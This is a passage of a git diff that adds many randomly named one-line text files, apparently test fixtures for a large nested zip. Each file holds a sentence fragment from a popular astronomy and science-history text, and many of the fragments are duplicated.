+++ b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/folder_bhdlkhdbyc/file_mkqowkynbcobcwepjl.txt
@@ -0,0 +1 @@
+the lower the pitch. If the car is racing away from us, it stretches out the sound waves,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/folder_bhdlkhdbyc/file_roktcbjxbrujmdetwkakahdr.txt b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/folder_bhdlkhdbyc/file_roktcbjxbrujmdetwkakahdr.txt
new file mode 100644
index 0000000..78325e1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/folder_bhdlkhdbyc/file_roktcbjxbrujmdetwkakahdr.txt
@@ -0,0 +1 @@
+the lower the pitch. If the car is racing away from us, it stretches out the sound waves,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/folder_bhdlkhdbyc/file_sugunsdevuubterhofwwxk.txt b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/folder_bhdlkhdbyc/file_sugunsdevuubterhofwwxk.txt
new file mode 100644
index 0000000..78325e1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/folder_bhdlkhdbyc/file_sugunsdevuubterhofwwxk.txt
@@ -0,0 +1 @@
+the lower the pitch. If the car is racing away from us, it stretches out the sound waves,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/folder_bhdlkhdbyc/file_ynqatdsrfwovyqcgpiy.txt b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/folder_bhdlkhdbyc/file_ynqatdsrfwovyqcgpiy.txt
new file mode 100644
index 0000000..78325e1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/folder_bhdlkhdbyc/file_ynqatdsrfwovyqcgpiy.txt
@@ -0,0 +1 @@
+the lower the pitch. If the car is racing away from us, it stretches out the sound waves,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/folder_bhdlkhdbyc/fmdynbhaxlbfscxzr.txt b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/folder_bhdlkhdbyc/fmdynbhaxlbfscxzr.txt
new file mode 100644
index 0000000..edc552f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/folder_bhdlkhdbyc/fmdynbhaxlbfscxzr.txt
@@ -0,0 +1 @@
+made the Earth a province of the Cosmos. ‘Astronomy,’ he said ‘is part of physics.’ Kepler
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/folder_bhdlkhdbyc/hinjkiyszjtyoymx.txt b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/folder_bhdlkhdbyc/hinjkiyszjtyoymx.txt
new file mode 100644
index 0000000..801d5d7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/folder_bhdlkhdbyc/hinjkiyszjtyoymx.txt
@@ -0,0 +1 @@
+amino acids found in meteorites. Some similar chemistry must have occurred on a billion
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/folder_bhdlkhdbyc/ierkgbrthegbuffnc.txt b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/folder_bhdlkhdbyc/ierkgbrthegbuffnc.txt
new file mode 100644
index 0000000..d4732d2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/folder_bhdlkhdbyc/ierkgbrthegbuffnc.txt
@@ -0,0 +1 @@
+that the rocks inside Io should have been melted, not by radioactivity but by tides; that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/folder_bhdlkhdbyc/jonqchbppq.txt b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/folder_bhdlkhdbyc/jonqchbppq.txt
new file mode 100644
index 0000000..0dae291
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/folder_bhdlkhdbyc/jonqchbppq.txt
@@ -0,0 +1 @@
+cloud heats it, eventually to the point where hydrogen begins to fuse into helium: four
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/folder_bhdlkhdbyc/mpefitfifdtgllwlgniqcifg.txt b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/folder_bhdlkhdbyc/mpefitfifdtgllwlgniqcifg.txt
new file mode 100644
index 0000000..5ee2e55
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/folder_bhdlkhdbyc/mpefitfifdtgllwlgniqcifg.txt
@@ -0,0 +1 @@
+He was also famous as a political sage, successfully urging the Milesians to resist
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/folder_bhdlkhdbyc/nzzicipaerfrgbdfuhxr.txt b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/folder_bhdlkhdbyc/nzzicipaerfrgbdfuhxr.txt
new file mode 100644
index 0000000..6043c2c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/folder_bhdlkhdbyc/nzzicipaerfrgbdfuhxr.txt
@@ -0,0 +1 @@
+* As far as I know, the first essentially nonmystical attempt to explain a historical event by cometary
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/folder_bhdlkhdbyc/orqrvkzmdownsqaf.txt b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/folder_bhdlkhdbyc/orqrvkzmdownsqaf.txt
new file mode 100644
index 0000000..e3efe4d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/folder_bhdlkhdbyc/orqrvkzmdownsqaf.txt
@@ -0,0 +1 @@
+century, the technology became available to construct a suspension bridge across the river.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/folder_bhdlkhdbyc/oxngbpthqbifvhvpnjzrxnj.txt b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/folder_bhdlkhdbyc/oxngbpthqbifvhvpnjzrxnj.txt
new file mode 100644
index 0000000..332be39
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/folder_bhdlkhdbyc/oxngbpthqbifvhvpnjzrxnj.txt
@@ -0,0 +1 @@
+against it must be something like a hundred to one. Nevertheless, there is an historical
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/folder_bhdlkhdbyc/roqmnurrjtmvvmgvauvnzn.txt b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/folder_bhdlkhdbyc/roqmnurrjtmvvmgvauvnzn.txt
new file mode 100644
index 0000000..63f3aee
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/folder_bhdlkhdbyc/roqmnurrjtmvvmgvauvnzn.txt
@@ -0,0 +1 @@
+Doppler effect, is the key to cosmology.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/folder_bhdlkhdbyc/scleqxeyhpxx.txt b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/folder_bhdlkhdbyc/scleqxeyhpxx.txt
new file mode 100644
index 0000000..4a6c06b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/folder_bhdlkhdbyc/scleqxeyhpxx.txt
@@ -0,0 +1 @@
+years. I can imagine creatures evolving into glimmerings of knowledge on innumerable
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/folder_bhdlkhdbyc/tcrskuslrvidph.txt b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/folder_bhdlkhdbyc/tcrskuslrvidph.txt
new file mode 100644
index 0000000..3a9644b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/folder_bhdlkhdbyc/tcrskuslrvidph.txt
@@ -0,0 +1 @@
+everyday matters be? But Eratosthenes was a scientist, and his musings on these
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/folder_bhdlkhdbyc/tdxmwlbjfilspok.txt b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/folder_bhdlkhdbyc/tdxmwlbjfilspok.txt
new file mode 100644
index 0000000..1450208
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/folder_bhdlkhdbyc/tdxmwlbjfilspok.txt
@@ -0,0 +1 @@
+unlike any other in the solar system. Io is near the asteroid belt. It must have been
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/folder_bhdlkhdbyc/xmozkujerokrv.txt b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/folder_bhdlkhdbyc/xmozkujerokrv.txt
new file mode 100644
index 0000000..e777c3a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/folder_bhdlkhdbyc/xmozkujerokrv.txt
@@ -0,0 +1 @@
+That the mechanism of evolution is natural selection is the great discovery
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/folder_bhdlkhdbyc/yquxytvrsgwnliwdjnaplud.txt b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/folder_bhdlkhdbyc/yquxytvrsgwnliwdjnaplud.txt
new file mode 100644
index 0000000..1e7261d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/folder_bhdlkhdbyc/yquxytvrsgwnliwdjnaplud.txt
@@ -0,0 +1 @@
+motion, the particles can never stick together by their mutual gravity. As soon as they try,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/folder_bhdlkhdbyc/zigxrorpcfhllnvpxblhull.txt b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/folder_bhdlkhdbyc/zigxrorpcfhllnvpxblhull.txt
new file mode 100644
index 0000000..d6e08c4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/folder_bhdlkhdbyc/zigxrorpcfhllnvpxblhull.txt
@@ -0,0 +1 @@
+‘Superstition [is] cowardice in the face of the Divine,’ wrote Theophrastus, who lived
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvjxzintzk/file_atwhmfjjvlbio.txt b/big_zip/big-zip-files/folder_cvjxzintzk/file_atwhmfjjvlbio.txt
new file mode 100644
index 0000000..f1008d5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvjxzintzk/file_atwhmfjjvlbio.txt
@@ -0,0 +1 @@
+done in Alexandria? I cannot give you a simple answer. But I do know this: there is no
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvjxzintzk/file_gjhckdetyf.txt b/big_zip/big-zip-files/folder_cvjxzintzk/file_gjhckdetyf.txt
new file mode 100644
index 0000000..f1008d5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvjxzintzk/file_gjhckdetyf.txt
@@ -0,0 +1 @@
+done in Alexandria? I cannot give you a simple answer. But I do know this: there is no
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvjxzintzk/file_jbxnteknevhib.txt b/big_zip/big-zip-files/folder_cvjxzintzk/file_jbxnteknevhib.txt
new file mode 100644
index 0000000..f1008d5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvjxzintzk/file_jbxnteknevhib.txt
@@ -0,0 +1 @@
+done in Alexandria? I cannot give you a simple answer. But I do know this: there is no
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvjxzintzk/file_lrfoumbwlnsenscxabtg.txt b/big_zip/big-zip-files/folder_cvjxzintzk/file_lrfoumbwlnsenscxabtg.txt
new file mode 100644
index 0000000..f1008d5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvjxzintzk/file_lrfoumbwlnsenscxabtg.txt
@@ -0,0 +1 @@
+done in Alexandria? I cannot give you a simple answer. But I do know this: there is no
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvjxzintzk/file_lwwsyfpqvw.txt b/big_zip/big-zip-files/folder_cvjxzintzk/file_lwwsyfpqvw.txt
new file mode 100644
index 0000000..f1008d5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvjxzintzk/file_lwwsyfpqvw.txt
@@ -0,0 +1 @@
+done in Alexandria? I cannot give you a simple answer. But I do know this: there is no
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvjxzintzk/file_lyfggqjqcctclkplldl.txt b/big_zip/big-zip-files/folder_cvjxzintzk/file_lyfggqjqcctclkplldl.txt
new file mode 100644
index 0000000..f1008d5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvjxzintzk/file_lyfggqjqcctclkplldl.txt
@@ -0,0 +1 @@
+done in Alexandria? I cannot give you a simple answer. But I do know this: there is no
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvjxzintzk/file_rscsmiwpxrvufnxas.txt b/big_zip/big-zip-files/folder_cvjxzintzk/file_rscsmiwpxrvufnxas.txt
new file mode 100644
index 0000000..f1008d5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvjxzintzk/file_rscsmiwpxrvufnxas.txt
@@ -0,0 +1 @@
+done in Alexandria? I cannot give you a simple answer. But I do know this: there is no
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvjxzintzk/file_tobriaahsr.txt b/big_zip/big-zip-files/folder_cvjxzintzk/file_tobriaahsr.txt
new file mode 100644
index 0000000..f1008d5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvjxzintzk/file_tobriaahsr.txt
@@ -0,0 +1 @@
+done in Alexandria? I cannot give you a simple answer. But I do know this: there is no
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvjxzintzk/file_udgvsdksluuastdxlclkru.txt b/big_zip/big-zip-files/folder_cvjxzintzk/file_udgvsdksluuastdxlclkru.txt
new file mode 100644
index 0000000..f1008d5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvjxzintzk/file_udgvsdksluuastdxlclkru.txt
@@ -0,0 +1 @@
+done in Alexandria? I cannot give you a simple answer. But I do know this: there is no
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvjxzintzk/file_xjiyapxayqanghcmufqvn.txt b/big_zip/big-zip-files/folder_cvjxzintzk/file_xjiyapxayqanghcmufqvn.txt
new file mode 100644
index 0000000..f1008d5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvjxzintzk/file_xjiyapxayqanghcmufqvn.txt
@@ -0,0 +1 @@
+done in Alexandria? I cannot give you a simple answer. But I do know this: there is no
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvjxzintzk/file_zfshrdmeeizkfkqfnwgg.txt b/big_zip/big-zip-files/folder_cvjxzintzk/file_zfshrdmeeizkfkqfnwgg.txt
new file mode 100644
index 0000000..f1008d5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvjxzintzk/file_zfshrdmeeizkfkqfnwgg.txt
@@ -0,0 +1 @@
+done in Alexandria? I cannot give you a simple answer. But I do know this: there is no
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/file_aboysmevwfabtwwedixyph.txt b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/file_aboysmevwfabtwwedixyph.txt
new file mode 100644
index 0000000..f6077b3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/file_aboysmevwfabtwwedixyph.txt
@@ -0,0 +1 @@
+electricity through wires and light through space. He wondered what the world would look
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/file_aojkclekbtuc.txt b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/file_aojkclekbtuc.txt
new file mode 100644
index 0000000..f6077b3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/file_aojkclekbtuc.txt
@@ -0,0 +1 @@
+electricity through wires and light through space. He wondered what the world would look
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/file_becopkeaftoygzfzujihjk.txt b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/file_becopkeaftoygzfzujihjk.txt
new file mode 100644
index 0000000..f6077b3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/file_becopkeaftoygzfzujihjk.txt
@@ -0,0 +1 @@
+electricity through wires and light through space. He wondered what the world would look
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/file_bpyagfhd.txt b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/file_bpyagfhd.txt
new file mode 100644
index 0000000..f6077b3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/file_bpyagfhd.txt
@@ -0,0 +1 @@
+electricity through wires and light through space. He wondered what the world would look
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/file_bscnzoptzl.txt b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/file_bscnzoptzl.txt
new file mode 100644
index 0000000..f6077b3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/file_bscnzoptzl.txt
@@ -0,0 +1 @@
+electricity through wires and light through space. He wondered what the world would look
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/file_ezdueogsiqhynqwwfd.txt b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/file_ezdueogsiqhynqwwfd.txt
new file mode 100644
index 0000000..f6077b3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/file_ezdueogsiqhynqwwfd.txt
@@ -0,0 +1 @@
+electricity through wires and light through space. He wondered what the world would look
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/file_ezqqjpnsz.txt b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/file_ezqqjpnsz.txt
new file mode 100644
index 0000000..f6077b3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/file_ezqqjpnsz.txt
@@ -0,0 +1 @@
+electricity through wires and light through space. He wondered what the world would look
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/file_gcftislnjxlaoizokpsbm.txt b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/file_gcftislnjxlaoizokpsbm.txt
new file mode 100644
index 0000000..f6077b3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/file_gcftislnjxlaoizokpsbm.txt
@@ -0,0 +1 @@
+electricity through wires and light through space. He wondered what the world would look
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/file_kpbqcdcla.txt b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/file_kpbqcdcla.txt
new file mode 100644
index 0000000..f6077b3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/file_kpbqcdcla.txt
@@ -0,0 +1 @@
+electricity through wires and light through space. He wondered what the world would look
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/file_kylluzdjjxecyqvknk.txt b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/file_kylluzdjjxecyqvknk.txt
new file mode 100644
index 0000000..f6077b3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/file_kylluzdjjxecyqvknk.txt
@@ -0,0 +1 @@
+electricity through wires and light through space. He wondered what the world would look
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/file_mexfhdtf.txt b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/file_mexfhdtf.txt
new file mode 100644
index 0000000..f6077b3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/file_mexfhdtf.txt
@@ -0,0 +1 @@
+electricity through wires and light through space. He wondered what the world would look
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/file_nbmdrtecfkiq.txt b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/file_nbmdrtecfkiq.txt
new file mode 100644
index 0000000..f6077b3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/file_nbmdrtecfkiq.txt
@@ -0,0 +1 @@
+electricity through wires and light through space. He wondered what the world would look
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/file_nghpvrvikknfjeshbwbiuk.txt b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/file_nghpvrvikknfjeshbwbiuk.txt
new file mode 100644
index 0000000..f6077b3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/file_nghpvrvikknfjeshbwbiuk.txt
@@ -0,0 +1 @@
+electricity through wires and light through space. He wondered what the world would look
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/file_pyuennnxtusublduuytw.txt b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/file_pyuennnxtusublduuytw.txt
new file mode 100644
index 0000000..f6077b3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/file_pyuennnxtusublduuytw.txt
@@ -0,0 +1 @@
+electricity through wires and light through space. He wondered what the world would look
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/file_qavrqqtyvpqfcx.txt b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/file_qavrqqtyvpqfcx.txt
new file mode 100644
index 0000000..f6077b3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/file_qavrqqtyvpqfcx.txt
@@ -0,0 +1 @@
+electricity through wires and light through space. He wondered what the world would look
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/file_qdnrthkgsruwm.txt b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/file_qdnrthkgsruwm.txt
new file mode 100644
index 0000000..f6077b3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/file_qdnrthkgsruwm.txt
@@ -0,0 +1 @@
+electricity through wires and light through space. He wondered what the world would look
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/file_qzoohtdjrzxcowgqpdgdnu.txt b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/file_qzoohtdjrzxcowgqpdgdnu.txt
new file mode 100644
index 0000000..f6077b3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/file_qzoohtdjrzxcowgqpdgdnu.txt
@@ -0,0 +1 @@
+electricity through wires and light through space. He wondered what the world would look
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/file_rbdgyzfcukwv.txt b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/file_rbdgyzfcukwv.txt
new file mode 100644
index 0000000..f6077b3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/file_rbdgyzfcukwv.txt
@@ -0,0 +1 @@
+electricity through wires and light through space. He wondered what the world would look
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/file_rpmjzbmvzqfffjotyxqhxny.txt b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/file_rpmjzbmvzqfffjotyxqhxny.txt
new file mode 100644
index 0000000..f6077b3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/file_rpmjzbmvzqfffjotyxqhxny.txt
@@ -0,0 +1 @@
+electricity through wires and light through space. He wondered what the world would look
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/file_vtiokdezspjtugiwid.txt b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/file_vtiokdezspjtugiwid.txt
new file mode 100644
index 0000000..f6077b3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/file_vtiokdezspjtugiwid.txt
@@ -0,0 +1 @@
+electricity through wires and light through space. He wondered what the world would look
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/file_wimoicrsjjlzrpssjuw.txt b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/file_wimoicrsjjlzrpssjuw.txt
new file mode 100644
index 0000000..f6077b3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/file_wimoicrsjjlzrpssjuw.txt
@@ -0,0 +1 @@
+electricity through wires and light through space. He wondered what the world would look
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/file_wspslozmwilkzr.txt b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/file_wspslozmwilkzr.txt
new file mode 100644
index 0000000..f6077b3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/file_wspslozmwilkzr.txt
@@ -0,0 +1 @@
+electricity through wires and light through space. He wondered what the world would look
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/file_ydzxalypcw.txt b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/file_ydzxalypcw.txt
new file mode 100644
index 0000000..f6077b3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/file_ydzxalypcw.txt
@@ -0,0 +1 @@
+electricity through wires and light through space. He wondered what the world would look
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/file_bagjsfmpnzrainwwazqz.txt b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/file_bagjsfmpnzrainwwazqz.txt
new file mode 100644
index 0000000..5d19213
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/file_bagjsfmpnzrainwwazqz.txt
@@ -0,0 +1 @@
+around 1920, found not a hint, not a trace, of water vapor above the clouds of Venus,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/file_bhudygmkatfxuze.txt b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/file_bhudygmkatfxuze.txt
new file mode 100644
index 0000000..5d19213
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/file_bhudygmkatfxuze.txt
@@ -0,0 +1 @@
+around 1920, found not a hint, not a trace, of water vapor above the clouds of Venus,
\ No newline at end of file
